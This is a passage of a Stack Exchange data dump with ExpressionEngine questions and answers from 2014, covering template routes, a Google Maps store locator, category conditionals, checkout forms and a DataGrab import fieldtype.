OwnerUserId="389" LastActivityDate="2014-06-15T20:29:51.953" Title="Using FreeMember to record interests (categories) to a member profile" Tags="|categories|extension|freemember|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22533" PostTypeId="2" ParentId="22476" CreationDate="2014-06-08T15:06:09.753" Score="3" Body="&lt;p&gt;ExpressionEngine 2.8's introduced &lt;code&gt;Template Routes&lt;/code&gt; so you now have more control over how your templates are processed. It allows you to override the default template route, which is &lt;code&gt;/template_group/template&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example instead of going &lt;code&gt;/blog/read/url_title&lt;/code&gt; you can now add a template route for &lt;code&gt;read.html&lt;/code&gt; in the &lt;code&gt;blog&lt;/code&gt; template group to load like &lt;code&gt;/blog/url_title&lt;/code&gt; - skipping that middle segment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, what you are asking for wouldn't be possible with Template Routes. That's because if you have a dynamic segment in your route then that route must end with a dynamic segment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for example: &lt;code&gt;/blog/{entry_title}/&lt;/code&gt; is accepted, but &lt;code&gt;/blog/{entry_title}/preview&lt;/code&gt; is not because the dynamic variable (&lt;code&gt;{entry_title}&lt;/code&gt;) is BEFORE the final variable which isn't dynamic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we take your desired URLs they would look like this in template routes:-&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;_view/index.html -&gt; &lt;code&gt;/{entry}/&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;_admin/index.html -&gt; &lt;code&gt;/{entry}/admin/&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;_admin/events.html -&gt; &lt;code&gt;/{entry}/admin/events/&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;_admin/communicate.html -&gt; &lt;code&gt;/{entry}/admin/communicate/&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;BUT&lt;/strong&gt; as you can see, it relies on the last segment being non-dynamic and so won't work natively in ExpressionEngine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trying to subvert how ExpressionEngine natively 'thinks' could lead to unnecessary complex code and the same basic result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would suggest that it's not worth the hassle or complexity trying to achieve your desired URL scheme and you would be better off doing the natively possible:-&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;_view/index.html -&gt; &lt;code&gt;/{entry}/&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;_admin/index.html -&gt; &lt;code&gt;/admin/{entry}/&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;_admin/events.html -&gt; &lt;code&gt;/admin/events/{entry}/&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;_admin/communicate.html -&gt; &lt;code&gt;/admin/communicate/{entry}/&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;With all that said, it would be great if Template Routes allowed for this, and perhaps it's something they'll implement later on.&lt;/p&gt;&#xA;" OwnerUserId="96" LastActivityDate="2014-06-08T15:06:09.753" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22534" PostTypeId="1" CreationDate="2014-06-08T15:32:31.103" Score="0" ViewCount="467" Body="&lt;p&gt;I'm currently working on implementing a store locator on a new site. Because of the complexity of the old store locator I've chosen to go with Google Maps for EE because of the flexibility of the plugin and the import.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been able to import a small subset of the stores for testing and successfully geocode them on import. I've also managed to get pagination working. But there are a few things missing:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like the ability to &quot;search by region&quot;. So The idea is there is are tabs (or styled radio options) with USA, Canada, and International. When one is selected the map should return the results for that region. I can't figure out how to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other problem, I'm spitting the results into a &lt;code&gt;&amp;lt;ol&amp;gt;&lt;/code&gt; to keep a count, with pagination this breaks (for obvious reasons), I tried using the &lt;code&gt;{count}&lt;/code&gt; variable like so &lt;code&gt;&amp;lt;li... data-count=&quot;{count}&quot;&lt;/code&gt; so I could extract the count, but it also resets on paginate? I would think this value should keep count throughout paginate, but it doesn't?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Last thing is the annoying caching! I've tried to set the tag variable to &quot;false&quot;, yet everything is still cached. I would love to turn this off somehow as it's really annoying, and also makes testing more difficult.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, here is the template I'm attempting to use. Any advice is greatly appreciated!!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:gmap:search&#xA;    channel=&quot;store_locations&quot;&#xA;    latitude_field=&quot;store_lat&quot;&#xA;    longitude_field=&quot;store_long&quot;&#xA;    distance_field=&quot;distance_max&quot;&#xA;    geocode_field=&quot;location&quot;&#xA;    cache_post=&quot;false&quot;&#xA;    }&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;XID&quot; value=&quot;{XID_HASH}&quot; /&amp;gt;&#xA;    &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;small-12 large-6 columns&quot;&amp;gt;&#xA;             &amp;lt;input type=&quot;text&quot; name=&quot;location&quot; id=&quot;location&quot; value=&quot;{if post:location}{post:location}{/if}&quot;&amp;gt;&#xA;             {if error:location}&amp;lt;p class=&quot;error&quot;&amp;gt;{error:location}&amp;lt;/p&amp;gt;{/if}&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;small-12 large-6 columns&quot;&amp;gt;&#xA;            &amp;lt;select name=&quot;distance_max&quot;&amp;gt;&#xA;                &amp;lt;option value=&quot;25&quot; &amp;amp;#123;if=&quot;&quot; distance_max=&quot;=&quot; 25}selected=&quot;selected&quot; &amp;amp;#123;=&quot;&quot; if}=&quot;&quot;&amp;gt;Within 25 Miles&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value=&quot;50&quot; &amp;amp;#123;if=&quot;&quot; distance_max=&quot;=&quot; 50}selected=&quot;selected&quot; &amp;amp;#123;=&quot;&quot; if}=&quot;&quot;&amp;gt;Within 50 Miles&amp;lt;/option&amp;gt;&#xA;                &amp;lt;option value=&quot;100&quot; &amp;amp;#123;if=&quot;&quot; distance_max=&quot;=&quot; 100}selected=&quot;selected&quot; &amp;amp;#123;=&quot;&quot; if}=&quot;&quot;&amp;gt;Within 100 Miles&amp;lt;/option&amp;gt;&#xA;            &amp;lt;/select&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;  &amp;lt;button type=&quot;submit&quot; class=&quot;button alert&quot;&amp;gt;&#xA;    &amp;lt;i class=&quot;icon-search icon-white&quot;&amp;gt;&amp;lt;/i&amp;gt; Search&#xA;  &amp;lt;/button&amp;gt;&#xA;{/exp:gmap:search}&#xA;&#xA;&amp;lt;hr/&amp;gt;&#xA;&#xA;{exp:gmap:results order_by=&quot;distance&quot; sort=&quot;asc&quot; parse=&quot;inward&quot; paginate=&quot;true&quot; limit=&quot;10&quot;}&#xA;&#xA;&amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;small-12 large-6 columns&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;store-locator-store&quot;&amp;gt;&#xA;&#xA;        {if has_searched}&#xA;            &amp;lt;ol class=&quot;circles-list&quot;&amp;gt;&#xA;            {results}   &#xA;                &amp;lt;li data-count=&quot;{count}&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;                        &amp;lt;div class=&quot;small-12 large-9 columns&quot;&amp;gt;&#xA;                            &amp;lt;h4 class=&quot;soft&quot;&amp;gt;{result:title}&amp;lt;/h4&amp;gt;&#xA;                            &amp;lt;p&amp;gt;  &#xA;                                {result:store_address}&amp;lt;br /&amp;gt;&#xA;                              {if result:store_address_2 != &quot;&quot;}&#xA;                              {result:store_address_2}&amp;lt;br /&amp;gt;&#xA;                              {/if}&#xA;                              {result:store_city}, {result:store_state} {result:store_zip}&amp;lt;br /&amp;gt;&#xA;                              {if result:store_phone}Telephone: {result:store_phone}{/if}&#xA;                            &amp;lt;/p&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div class=&quot;small-12 large-3 columns&quot;&amp;gt;&#xA;                            &amp;lt;p&amp;gt;&#xA;                            &amp;lt;br/&amp;gt;&#xA;                            &amp;lt;strong&amp;gt;&#xA;                              {result:distance} miles&amp;lt;br /&amp;gt;&#xA;                              &amp;lt;a href=&quot;{directions_url}&quot; target=&quot;_blank&quot;&amp;gt;View Map&amp;lt;/a&amp;gt;&amp;lt;br /&amp;gt;&#xA;                                &amp;lt;a href=&quot;{directions_url}&quot; target=&quot;_blank&quot;&amp;gt;More Info&amp;lt;/a&amp;gt;&#xA;                            &amp;lt;/strong&amp;gt;&#xA;                            &amp;lt;/p&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/li&amp;gt;&#xA;            {/results}&#xA;            &amp;lt;/ol&amp;gt;&#xA;        {/if}&#xA;&#xA;        &amp;lt;div class=&quot;pagination-count&quot;&amp;gt;&#xA;        Showing page {current_page} of {total_pages}&amp;lt;br/&amp;gt;&amp;lt;br/&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;pagination-links&quot;&amp;gt;&#xA;        {if prev_page}&amp;lt;a href=&quot;{site_url}store_locator/store_temp/page/{prev_page}&quot;&amp;gt;&amp;amp;larr; Prev&amp;lt;/a&amp;gt;{/if}&amp;amp;nbsp;&amp;amp;nbsp;&#xA;        {if next_page}&amp;lt;a href=&quot;{site_url}store_locator/store_temp/page/{next_page}&quot;&amp;gt;Next &amp;amp;rarr;&amp;lt;/a&amp;gt;{/if}&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div id=&quot;map_container&quot; class=&quot;small-12 large-6 columns&quot;&amp;gt;&#xA;        &amp;lt;p class=&quot;right&quot;&amp;gt;&#xA;            {if total_results &amp;gt; 1}&#xA;            &amp;lt;strong&amp;gt;Here are your results:&amp;lt;/strong&amp;gt;&#xA;          &amp;lt;br /&amp;gt; &#xA;            Displaying &amp;lt;strong&amp;gt;{total_results}&amp;lt;/strong&amp;gt; matches within {search_distance} miles of &amp;lt;strong&amp;gt;{post:location}&amp;lt;/strong&amp;gt;.&#xA;        &amp;lt;/p&amp;gt;&#xA;            {exp:gmap:init id=&quot;map&quot; class=&quot;google-map&quot; style=&quot;width:100%;height:600px&quot;}&#xA;            {results}                   &#xA;           {exp:gmap:marker id=&quot;map&quot; latitude=&quot;{store_lat}&quot; longitude=&quot;{store_long}&quot;}&#xA;       {/results}&#xA;            {if:else}&#xA;            &amp;lt;p&amp;gt;Sorry, we were unable to find any matches for {post:location} within {search_distance}.&amp;lt;/p&amp;gt;&#xA;            {/if}&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;{/exp:gmap:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2062" LastActivityDate="2022-05-24T16:04:40.377" Title="Google Maps for Expression Engine store locator" Tags="|google-maps-for-ee|objective-html|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22535" PostTypeId="2" ParentId="22515" CreationDate="2014-06-08T15:53:47.427" Score="1" Body="&lt;p&gt;It might be that your host is blocking the EE version check. Try to turn off New Version Auto Check from the General Configuration menu and see if the error goes away (source: &lt;a href=&quot;http://ellislab.com/forums/viewthread/174968/&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/forums/viewthread/174968/&lt;/a&gt;). If it does you'll need to either keep it disabled, or check with your hosting company to get it resolved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it does not, the version of EE you're currently running would be helpful to troubleshoot further. Also, as others mentioned, whether or not you have any third-party member add-ons.&lt;/p&gt;&#xA;" OwnerUserId="2062" LastActivityDate="2014-06-08T15:53:47.427" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23535" PostTypeId="2" ParentId="21112" CreationDate="2014-06-09T02:31:01.163" Score="1" Body="&lt;p&gt;EECMS saves dates as UNIX timestamps. You don't need to format the fields just to compare each other.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know if &lt;a href=&quot;http://devot-ee.com/add-ons/time-select&quot; rel=&quot;nofollow&quot;&gt;Time Select&lt;/a&gt; uses something different, but it worth a try.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries entry_id=&quot;8&quot; dynamic=&quot;off&quot;}&#xA;    {sessions}&#xA;            &amp;lt;li&amp;gt;&#xA;               {start_date format=&quot;%M %j&quot;}&#xA;               {if start_date != end_date} - {end_date format=&quot;%M %j&quot;}{/if}&#xA;            &amp;lt;/li&amp;gt;&#xA;        {/if}&#xA;    {/sessions}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="343" LastActivityDate="2014-06-09T02:31:01.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23536" PostTypeId="2" ParentId="22534" CreationDate="2014-06-09T07:56:31.310" Score="0" Body="&lt;p&gt;As for keeping the count, try using the {total_results} variable. That should show you the number of items returned regardless of pagination.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regions are tricky. I don't think there is any built in method for handling them in Google Maps For ExpressionEngine. Although you can get a marker for a region, it will be in the centre of that region rather than a means to check a boundary. Logically, this is actually extremely difficult to do if you are doing proximity searches rather than just &quot;is this place inside this region&quot;. There will always be a case where it just doesn't work sensibly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider a situation where someone lives near the edge of a region. They search for the nearest store by selecting their region. The nearest store might be just over the 'border' but it would not be returned since it isn't in the region searched for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the next step is to return stores within a set distance of the border. That's a hell of a calculation to perform and still may not return the closest store due to the 'wiggliness' of borders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ObjectiveHTML has made a search add-on which might help you as it will let you search within the Gmap4EE field for the address component of your geomarkers. This can go some way to solving the region problem. I don't know if it's on general release but might be worth asking.&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2014-06-09T08:07:25.153" LastActivityDate="2014-06-09T08:07:25.153" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23538" PostTypeId="1" CreationDate="2014-06-09T08:36:42.660" Score="0" ViewCount="316" Body="&lt;p&gt;Is it possible to use SCORM within an ExpressionEngine template? I would really appreciate any advice on this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A broad overview about SCORM can be found at &lt;a href=&quot;http://en.wikipedia.org/wiki/Sharable_Content_Object_Reference_Model&quot; rel=&quot;nofollow&quot;&gt;http://en.wikipedia.org/wiki/Sharable_Content_Object_Reference_Model&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The types of data we would want to SCORM are quiz answers (radio buttons and multiple select checkboxes) or numbers of pages visited. Sorry to be vague but we are just starting to look into the option of using EE to deliver content.&#xA;The SCORM results would be sent to an LMS.&lt;/p&gt;&#xA;" OwnerUserId="95" LastEditorUserId="95" LastEditDate="2014-06-09T14:56:43.430" LastActivityDate="2014-06-11T20:53:51.660" Title="Using SCORM with ExpressionEngine" Tags="|templates|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23539" PostTypeId="2" ParentId="22532" CreationDate="2014-06-09T10:21:24.750" Score="2" Body="&lt;p&gt;I've solved this by forking and modding the FreeMember add on. When passed an array type form field (i.e. where you name the field 'field_name[]' and then have multiple inputs by the same name) FreeMember would throw a PHP error. I modified the module to simply detect an array type input and implode it and store is as a pipe delimited string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Modified FreeMember model: &lt;a href=&quot;https://github.com/nathanpitman/freemember/commit/e04a3142981281c125fb1417d8f9205b34c882e7&quot; rel=&quot;nofollow&quot;&gt;https://github.com/nathanpitman/freemember/commit/e04a3142981281c125fb1417d8f9205b34c882e7&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When returning the data I was able to use the PHP String Fun plug-in to parse the pipe delimited list and compare it the category_ids in my channel:categories loop to 'check' the correct checkboxes. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example template code to check categories based on a pipe delimited string is a custom member field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;    {exp:channel:categories channel=&quot;content&quot; parent_only=&quot;yes&quot; style=&quot;linear&quot;}&#xA;    &amp;lt;li&amp;gt;&amp;lt;label for=&quot;Cat_{category_id}&quot;&amp;gt;&amp;lt;input type=&quot;checkbox&quot; id=&quot;Cat_{category_id}&quot; name=&quot;member_interests[]&quot; value=&quot;{category_id}&quot;{if &quot;{exp:phpstringfun function='substr_count' par1='{category_id}'}{member_interests}{/exp:phpstringfun}&quot; == &quot;1&quot;} checked=&quot;checked&quot;{/if}&amp;gt; {category_name}&amp;lt;/label&amp;gt;&amp;lt;/li&amp;gt;&#xA;    {/exp:channel:categories}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="389" LastActivityDate="2014-06-09T10:21:24.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23540" PostTypeId="2" ParentId="22534" CreationDate="2014-06-09T11:55:14.803" Score="0" Body="&lt;p&gt;I had been having the same issue with pagination but I found that the solution was to add page_segment=&quot;page&quot; to the gmap:search parameters and then include &quot;page&quot; in my pagination links - which you have already according to your template code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm having the same trouble with total_results though.  If I do a search with a 10mile radius, and paginate=&quot;true&quot; and limit=&quot;10&quot; total_results returns 10. If I set limit to 50, total results returns 50.  So at the moment, while the paginate variables are returning a correct number of pages, I'm having trouble with the ability to display something like &quot;Displaying 1-25 of 86 matches&quot; because total results is displaying the results returned within the pagination limit and not the total matches, as I was expecting.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2014-06-09T11:55:14.803" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23541" PostTypeId="1" CreationDate="2014-06-09T12:25:48.080" Score="1" ViewCount="26" Body="&lt;p&gt;Strangely, on two specific products only, order confirmation emails are not being sent to the administrators upon a successful order.  I can not find any settings to control whether a order confirmation email is to be sent on a per-product basis.  I've checked spam filters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using EE 2.7.2 and Cartthrob 2.5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bruce&lt;/p&gt;&#xA;" OwnerUserId="2822" LastActivityDate="2014-06-09T12:25:48.080" Title="Order confirmation to Admin not sent on two products" Tags="|cartthrob|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23542" PostTypeId="2" ParentId="22505" CreationDate="2014-06-09T12:35:47.020" Score="3" Body="&lt;p&gt;The cause turned out to be the creation (and rebuild) of the indexes not including category information.  This build also included Publisher and included an &lt;a href=&quot;https://github.com/litzinger/publisher_low_search&quot; rel=&quot;nofollow&quot;&gt;extension to add Publisher support to Low Search&lt;/a&gt;, which it seems doesn't support categories - I've created a ticket with the developer, so hopefully this will get resolved soon.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2014-06-09T12:35:47.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23543" PostTypeId="1" AcceptedAnswerId="23572" CreationDate="2014-06-09T12:39:08.673" Score="1" ViewCount="119" Body="&lt;p&gt;I downloaded PayU Integration API php files to be used in EE2, but I am not too sure in which directory to store it? It's not a module or something similar, its just 3 API files I need to reference in my checkout steps. Where would be best to store them in my EE2 project?&lt;/p&gt;&#xA;" OwnerUserId="3170" LastEditorUserId="96" LastEditDate="2014-06-10T07:49:02.653" LastActivityDate="2014-06-10T07:53:23.427" Title="Payment Gateway Integration API Directory" Tags="|expresso-store|ee2|payment-gateway|api|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23544" PostTypeId="2" ParentId="23543" CreationDate="2014-06-09T13:02:10.550" Score="2" Body="&lt;p&gt;Ideally you should use them to create a plugin but technically you can place them wherever you wish so long as whatever needs to reference them can reach them.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-06-09T13:02:10.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23545" PostTypeId="1" AcceptedAnswerId="23571" CreationDate="2014-06-09T13:38:41.687" Score="1" ViewCount="91" Body="&lt;p&gt;I am having trouble with my submit buttons on my expresso store forms. It does not 'recognise' the next attribute in the checkout tag. I.E. I need to click on PLACE YOUR ORDER on my last checkout step to pay for the items, but nothing responds.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:checkout next=&quot;./payu/payu-enterprise-doTransaction-using-soap.php&quot; &#xA;payment_method=&quot;Dummy&quot; &#xA;return=&quot;store/order/ORDER_HASH&quot; &#xA;&amp;lt;!--secure=&quot;yes&quot;--&amp;gt; &#xA;error_handling=&quot;inline&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Above is my code for the checkout form. The actual form (not using form tag) is underneath this with control names and values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I click on &lt;code&gt;&amp;lt;input type=&quot;submit&quot; name=&quot;next&quot; value=&quot;PLACE YOUR ORDER&quot; class=&quot;button alert&quot; /&amp;gt;&lt;/code&gt;, it does not respond at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I perhaps missing something?&lt;/p&gt;&#xA;" OwnerUserId="3170" LastActivityDate="2014-06-10T07:51:24.540" Title="Store Submit Button Not Redirecting" Tags="|expresso-store|ee2|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23546" PostTypeId="2" ParentId="22516" CreationDate="2014-06-09T15:39:15.313" Score="1" Body="&lt;p&gt;The developer of DataGrab emailed me the solution. I figured I would post it here so that anyone else who may have this problem down the road is able to solve it!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, you need to update the Wordpress plugin as described in my original post. Then copy this bit of code and save it as &quot;datagrab_tagger.php&quot; and place inside the DataGrab &quot;fieldtypes&quot; folder:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;/**&#xA; * DataGrab Tagger fieldtype class&#xA; *&#xA; * @package   DataGrab&#xA; * @author    Andrew Weaver &amp;lt;aweaver@brandnewbox.co.uk&amp;gt;&#xA; * @copyright Copyright (c) Andrew Weaver&#xA; */&#xA;class Datagrab_tagger extends Datagrab_fieldtype {&#xA;&#xA;    function prepare_post_data( $DG, $item, $field_id, $field, &amp;amp;$data, $update = FALSE ) {&#xA;&#xA;        $data[ &quot;field_id_&quot; . $field_id ][&quot;tags&quot;] = array();&#xA;&#xA;        // Can the current datatype handle sub-loops (eg, XML)?&#xA;        if( $DG-&amp;gt;datatype-&amp;gt;datatype_info[&quot;allow_subloop&quot;] ) {&#xA;&#xA;            // Check this field can be a sub-loop&#xA;            if( $DG-&amp;gt;datatype-&amp;gt;initialise_sub_item( &#xA;                $item, $DG-&amp;gt;settings[&quot;cf&quot;][ $field ], $DG-&amp;gt;settings, $field ) ) {&#xA;&#xA;                // Loop over sub items&#xA;                $tags = array();&#xA;                while( $subitem = $DG-&amp;gt;datatype-&amp;gt;get_sub_item( &#xA;                    $item, $DG-&amp;gt;settings[&quot;cf&quot;][ $field ], $DG-&amp;gt;settings, $field ) ) {&#xA;&#xA;                        $tags[] = $subitem;&#xA;&#xA;                    }&#xA;                    $data[ &quot;field_id_&quot; . $field_id ][&quot;tags&quot;] = $tags;&#xA;&#xA;                }&#xA;&#xA;        }&#xA;&#xA;    }&#xA;&#xA;}&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will allow you to import Wordpress tags into DevDemon Tagger!&lt;/p&gt;&#xA;" OwnerUserId="2062" LastActivityDate="2014-06-09T15:39:15.313" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23549" PostTypeId="1" AcceptedAnswerId="23559" CreationDate="2014-06-09T16:02:55.257" Score="1" ViewCount="149" Body="&lt;p&gt;I'm attempting to get a conditional statement working within category id parameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, I need the title of certain entries to link to details pages but ONLY if they are in category_id 38. Then, I'd like to show just the title (without links) only when entries are not in category_id 38.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I've come up with so far. I have never attempted something exactly like this before. I am getting a parse/syntax error. Could someone take a look and help me to see what I am doing wrong, please and thank you!!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{categories}&#xA;&#xA;{if category id == &quot;38&quot;}&#xA;&#xA;    &amp;lt;h4&amp;gt;&amp;lt;a href=&quot;{url_title_path='product-support/service-centers'}&quot;&amp;gt;{facility_title}&amp;lt;/a&amp;gt;&amp;lt;/h4&amp;gt;&#xA;&#xA;{if:else category_id == &quot;32|30|33|31&quot; &amp;amp;&amp;amp; category_id != &quot;38&quot;}&#xA;&#xA;    &amp;lt;h4&amp;gt;{facility_title}&amp;lt;/h4&amp;gt;&#xA;&#xA;{/if}&#xA;&#xA;{/categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3205" LastEditorUserId="96" LastEditDate="2014-06-10T05:39:55.537" LastActivityDate="2015-03-02T21:03:23.763" Title="Conditionals within Categories" Tags="|categories|conditionals|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23550" PostTypeId="2" ParentId="23549" CreationDate="2014-06-09T16:23:09.430" Score="0" Body="&lt;p&gt;Try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{categories}&#xA;    {if category_id == &quot;38&quot;}&#xA;        &amp;lt;h4&amp;gt;&amp;lt;a href=&quot;{url_title_path='product-support/service-centers'}&quot;&amp;gt;{facility_title}&amp;lt;/a&amp;gt;&amp;lt;/h4&amp;gt;&#xA;&#xA;    {if:elseif category_id == &quot;32&quot; OR category_id == &quot;30&quot; OR category_id == &quot;31&quot; OR category_id == &quot;33&quot;}&#xA;        &amp;lt;h4&amp;gt;{facility_title}&amp;lt;/h4&amp;gt;&#xA;    {/if}&#xA;{/categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;1) missing underscore in category id&#xA;2) elseif instead of else&#xA;3) no need to check for category 38 again&#xA;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/globals/conditionals.html&quot; rel=&quot;nofollow&quot;&gt;docs on conditionals&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2014-06-09T16:23:09.430" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="23551" PostTypeId="1" AcceptedAnswerId="23553" CreationDate="2014-06-09T16:54:35.207" Score="1" ViewCount="48" Body="&lt;p&gt;I want to setup a 'Pages' channel in such a way where I can include a loop from a different channel (in this case 'Listings') only showing entries for a particular category.  I'm using Structure to arrange my sitemap, so I can't use segments in the URL - plus it will only be relevant for certain pages and not others, so I need to find a way the user can select a related 'Listings' category when editing the 'Page' if appropriate which would then power a listings loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone advise or link to somewhere that shows how to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Justin&lt;/p&gt;&#xA;" OwnerUserId="3113" LastActivityDate="2014-06-09T16:58:11.517" Title="Can you have a relationship with a *category* instead of a 'channel' in channel fields?" Tags="|categories|relationships|channel-fields|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23552" PostTypeId="1" CreationDate="2014-06-09T16:57:58.840" Score="0" ViewCount="187" Body="&lt;p&gt;I'm attempting to setup a reminder calendar implementing the Postmaster module.&#xA;I've been trying to solve this issue now for a while and can't seem to come up with a solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my setup: I have a EE Grid field with 3 columns (title, date, description). The member enters each of the values, with the date being a &quot;date&quot; field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Within the Postmaster notification I've tried doing post date relative with the relative field having &quot;&lt;strong&gt;-5 days&lt;/strong&gt;&quot;, as all dates are going to be in the future. But, it seems that Postmaster does not like this syntax as notifications are not sent at all this way. If I keep it post date specific I can ping the url and get the notifications sent the day of (which isn't too helpful for a reminder).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I installed the math module (&lt;a href=&quot;http://devot-ee.com/add-ons/math&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/math&lt;/a&gt;) to try and work some magic, still no go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I currently have:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For post date specific I 